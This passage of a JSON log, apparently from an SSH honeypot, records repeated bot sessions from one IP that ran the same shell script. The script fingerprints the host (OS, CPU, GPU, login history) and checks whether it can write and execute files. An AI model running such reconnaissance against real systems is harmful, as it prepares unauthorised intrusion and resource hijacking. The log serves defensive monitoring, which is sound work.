\"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:38:40.896714+00:00",
  "ended_at": "2026-08-25T15:38:48.114566+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "58e38082-1f09-4359-b991-5b4d95126fe0",
  "name": "brisk-lanky-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 48980,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:36:02.174945+00:00",
  "ended_at": "2026-08-25T15:36:03.237373+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "ff5b8107-faf4-4028-9192-0054af8e9254",
  "name": "sterling-lunar-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 46508,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:33:24.609800+00:00",
  "ended_at": "2026-08-25T15:33:25.311900+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "e499574f-8603-4d70-a66e-9f7e8353f9e5",
  "name": "leafy-regal-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 44038,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:30:43.892203+00:00",
  "ended_at": "2026-08-25T15:30:44.936325+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c890127c-c54c-4216-91fe-5bda7394bf8b",
  "name": "glacial-nimble-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 41506,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:28:55.381061+00:00",
  "ended_at": "2026-08-25T15:28:55.746481+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "47420ea3-913e-4de6-bc62-fec164aaba9a",
  "name": "dewy-bronzed-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 38926,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:26:54.076606+00:00",
  "ended_at": "2026-08-25T15:26:54.456493+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8406a5f6-1352-4ecc-b3bb-1cfaace0260d",
  "name": "early-northern-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 36284,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:25:00.002773+00:00",
  "ended_at": "2026-08-25T15:25:01.019813+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "1386dd89-ce35-499f-9d78-fb99cb2ee2ac",
  "name": "vernal-gnarled-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 33654,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 